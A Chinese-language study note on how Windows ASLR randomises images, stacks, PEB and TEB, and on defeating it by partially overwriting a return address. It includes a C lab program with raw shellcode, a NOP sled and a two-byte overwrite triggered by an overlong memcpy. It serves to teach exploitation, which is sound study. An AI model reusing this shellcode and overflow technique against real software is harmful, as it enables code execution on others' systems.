漏洞利用原理（高级）

内存随机化保护机制的原理

ASLR就是通过加载程序时不适用固定的基址加载，从而干扰shellcode定位。

支持ASLR的程序在其PE头会设置IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE标识。
VS2005 SP1 加入/dynamicbase链接来完成

ASLR主要分为了3个部分：

• 映像随机化
• 堆栈随机化
• PEB和TEB随机化

映像随机化

在PE文件映射到内存时，对其加载的虚拟地址进行随机化处理，该地址是在系统启动时确定，重启后地址会发生变化。
映像随机化开关：HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\MoveImages

• 0：禁用
• -1：强制对可随机化的映像进行处理，无论是否设置IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE
• 设置为其他值时为正常工作模式，只对具有随机化处理标识的映像进行处理

堆栈随机化

在程序运行时随机的选择堆栈的基址。

PEB（进程环境块）和TEB（线程环境块）随机化

微软在XP SP2之后不再使用固定的PEB基址0x7FFDF000和TEB基址0x7FFDE000，但是TEB存放在FS:0和FS:[0x18]处，PEB存放在TEB偏移0x30处。

利用部分覆盖进行定位内存地址

映像随机化只对映像加载基址的前两个字节做随机化处理

示例代码：

#include "stdafx.h"
#include "stdlib.h"

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x42\x12"
;
char * test()
{
	char tt[256];
	memcpy(tt,shellcode,262);
	return tt;	
}
int _tmain(int argc, _TCHAR* argv[])
{
	char temp[200];
	test();
	return 0;
}

首先计算覆盖到返回地址需要260个字节，因此用261~262来覆盖返回地址的后两位，

参考文献

《0day安全：软件漏洞分析技术》